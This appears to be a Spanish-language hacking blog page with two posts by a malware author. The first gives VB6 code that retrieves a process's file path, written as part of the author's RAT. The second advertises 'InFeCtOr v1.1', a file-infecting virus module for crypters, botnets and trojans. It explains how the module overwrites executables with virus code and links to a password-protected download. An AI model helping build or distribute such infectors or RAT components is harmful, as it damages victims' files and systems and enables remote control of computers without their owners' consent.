Mostrando entradas con la etiqueta Modulo. Mostrar todas las entradas
Mostrando entradas con la etiqueta Modulo. Mostrar todas las entradas

miércoles, 5 de enero de 2011

Obtener Ruta de Procesos

Trabajaba en mi RAT, mejorando el listado de procesos y decidí ponerle la ruta de los procesos.
Investigando un poco y con el conocimiento que tenia les traigo esta función, se debe de poner en un modulo.

01 Private Declare Function GetModuleFileNameEx Lib "PSAPI.DLL" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
02 Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
03 Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal Handle As Long) As Long
04 Private Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
05
06 Private Const MAX_PATH As Long = 260
07 Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
08
09
10 Private Function GetPathPID(pID As Long) As String
11 Dim lHandle As Long
12 Dim lEpID As Long
13 Dim lModule(250) As Long
14 Dim lByNeed As Long
15 Dim sPrName As String
16 Dim lSize As Long
17
18 lHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, pID)
19
20 If lHandle = 0 Then Exit Function
21 lEpID = EnumProcessModules(lHandle, lModule(1), MAX_PATH, lByNeed)
22
23 If lEpID = 0 Then Exit Function
24 sPrName = Space(MAX_PATH)
25 lSize = MAX_PATH
26
27 lEpID = GetModuleFileNameEx(lHandle, lModule(1), sPrName, lSize)
28 sPrName = Trim(Left(sPrName, lEpID))
29
30 lEpID = CloseHandle(lHandle)
31
32 GetPathPID = sPrName
33 End Function

Les explico un poco como lo hace:
[+]La API, GetModuleFileNameEx lo que hace es obtener la ruta, apartir de un handle del proceso y un modulo.
[+]la API, OpenProcess devuelve el handle a partir del pID del proceso(Process ID), se puede especificar apartir de demás APIs.
[+]La API, CloseHandle cierra el handle que hemos usado.
[+]La API, EnumProcessModules devuelve un array de los modulos del proceso.
[+]La constante, PROCESS_ALL_ACCESS sirve para tener acceso al proceso y asi la API devuelve el handle del proceso
[+]La constante, MAX_PATH una constante para minimizar el uso de numero xD.

Solo necesitan especificar el pID del proceso y les devolverá la ruta

Saludos!
xNeoDarkx

lunes, 5 de julio de 2010

InFeCtOr v1.1

Les presento un modulo en vb6 que se puede agregar a su crypter, botnet, RAT, Troyano, etc.

Lo que hace este modulo es infectar archivos con la extension que ustedes deseen viene por Default "exe" pero pueden infectar "Exe", "Bat", "Com" y con algunas modificaciones "msi" (Archivos Setup).



Lo explicaré de manera breve al iniciar el programa lo llamaremos "Virus", Este lee todos los archivos y si su extensión es la que ustedes han seleccionado procede a infectarlo abriendolo binariamente copiando su codigo, eliminando el archivo "Victima" despues lo vuelve a crear, pero esta vez con el codigo del "Virus" y el codigo de la "Victima".

Es altamente peligroso por lo que les recomiendo probarlo en una virtual, no me hago responsable por archivos infectados sin su consentimiento

http://www.multiupload.com/M2SMCRWEGQ

Pass: xNeoDarkx